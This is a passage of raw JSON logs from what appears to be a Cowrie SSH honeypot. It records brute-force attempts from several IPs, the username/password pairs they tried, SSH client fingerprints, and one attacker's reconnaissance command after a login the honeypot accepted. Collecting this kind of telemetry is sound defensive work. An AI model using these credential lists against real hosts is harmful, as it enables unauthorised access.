com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:24:40.640350Z","src_ip":"103.52.114.131","session":"17c3c70f58e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":40958,"dst_ip":"159.203.135.109","dst_port":22,"session":"27ff542795c5","protocol":"ssh","message":"New connection: 101.44.96.62:40958 (159.203.135.109:22) [session: 27ff542795c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:24:41.076478Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:24:41.080900Z","src_ip":"101.44.96.62","session":"27ff542795c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:24:41.298333Z","src_ip":"101.44.96.62","session":"27ff542795c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:24:41.641788Z","src_ip":"103.52.114.131","session":"17c3c70f58e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oracle","password":"!QAZ@WSX","message":"login attempt [oracle/!QAZ@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:24:41.951460Z","src_ip":"101.44.96.62","session":"27ff542795c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:24:42.887263Z","src_ip":"103.52.114.131","session":"17c3c70f58e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.52.114.131","src_port":44466,"dst_ip":"10.17.0.5","dst_port":22,"session":"69dd89c86722","protocol":"ssh","message":"New connection: 103.52.114.131:44466 (10.17.0.5:22) [session: 69dd89c86722]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:24:43.146650Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:24:43.151617Z","src_ip":"103.52.114.131","session":"69dd89c86722","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:24:43.173432Z","src_ip":"101.44.96.62","session":"27ff542795c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:24:43.408373Z","src_ip":"103.52.114.131","session":"69dd89c86722","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:24:44.457762Z","src_ip":"103.52.114.131","session":"69dd89c86722","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.4","message":"Connection lost after 7.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:24:44.706926Z","src_ip":"103.52.114.131","session":"09b1bdad1226","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:24:44.714436Z","src_ip":"103.52.114.131","session":"69dd89c86722","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":47664,"dst_ip":"159.203.135.109","dst_port":22,"session":"7c6eb01ade3d","protocol":"ssh","message":"New connection: 101.44.96.62:47664 (159.203.135.109:22) [session: 7c6eb01ade3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:24:54.531791Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:24:54.535320Z","src_ip":"101.44.96.62","session":"7c6eb01ade3d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:24:54.845171Z","src_ip":"101.44.96.62","session":"7c6eb01ade3d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"1234qwer","message":"login attempt [test/1234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:24:55.494252Z","src_ip":"101.44.96.62","session":"7c6eb01ade3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:24:56.712951Z","src_ip":"101.44.96.62","session":"7c6eb01ade3d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":43752,"dst_ip":"159.203.135.109","dst_port":22,"session":"661e37b6ace7","protocol":"ssh","message":"New connection: 101.44.96.62:43752 (159.203.135.109:22) [session: 661e37b6ace7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:25:08.025440Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:25:08.031021Z","src_ip":"101.44.96.62","session":"661e37b6ace7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:25:08.249583Z","src_ip":"101.44.96.62","session":"661e37b6ace7","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Aa123456","message":"login attempt [root/Aa123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:25:08.903287Z","src_ip":"101.44.96.62","session":"661e37b6ace7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":60702,"dst_ip":"10.17.0.5","dst_port":22,"session":"f7eb31700cf9","protocol":"ssh","message":"New connection: 2.57.122.238:60702 (10.17.0.5:22) [session: f7eb31700cf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:25:09.180607Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:25:09.186279Z","src_ip":"2.57.122.238","session":"f7eb31700cf9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:25:09.282197Z","src_ip":"2.57.122.238","session":"f7eb31700cf9","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:25:09.491373Z","src_ip":"101.44.96.62","session":"661e37b6ace7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:25:09.494738Z","src_ip":"101.44.96.62","session":"661e37b6ace7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:25:09.715664Z","src_ip":"101.44.96.62","session":"661e37b6ace7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:25:09.721520Z","src_ip":"101.44.96.62","session":"661e37b6ace7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456","message":"login attempt [solv/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:25:09.778556Z","src_ip":"2.57.122.238","session":"f7eb31700cf9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:25:10.876687Z","src_ip":"2.57.122.238","session":"f7eb31700cf9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":55418,"dst_ip":"159.203.135.109","dst_port":22,"session":"438d0f17ac98","protocol":"ssh","message":"New connection: 101.44.96.62:55418 (159.203.135.109:22) [session: 438d0f17ac98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:25:21.559455Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:25:21.563611Z","src_ip":"101.44.96.62","session":"438d0f17ac98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:25:21.782622Z","src_ip":"101.44.96.62","session":"438d0f17ac98","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"123456","message":"login attempt [developer/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:25:22.434227Z","src_ip":"101.44.96.62","session":"438d0f17ac98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:25:23.654606Z","src_ip":"101.44.96.62","session":"438d0f17ac98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":42664,"dst_ip":"159.203.135.109","dst_port":22,"session":"03dd95b40aad","protocol":"ssh","message":"New connection: 2.57.122.208:42664 (159.203.135.109:22) [session: 03dd95b40aad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:25:31.912916Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:25:31.932262Z","src_ip":"2.57.122.208","session":"03dd95b40aad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:25:32.016776Z","src_ip":"2.57.122.208","session":"03dd95b40aad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456","message":"login attempt [solv/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:25:32.416945Z","src_ip":"2.57.122.208","session":"03dd95b40aad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:25:33.521556Z","src_ip":"2.57.122.208","session":"03dd95b40aad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":46876,"dst_ip":"159.203.135.109","dst_port":22,"session":"01cc42054b2e","protocol":"ssh","message":"New connection: 101.44.96.62:46876 (159.203.135.109:22) [session: 01cc42054b2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:25:35.005660Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:25:35.010011Z","src_ip":"101.44.96.62","session":"01cc42054b2e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:25:35.226265Z","src_ip":"101.44.96.62","session":"01cc42054b2e","protocol":"ssh"}
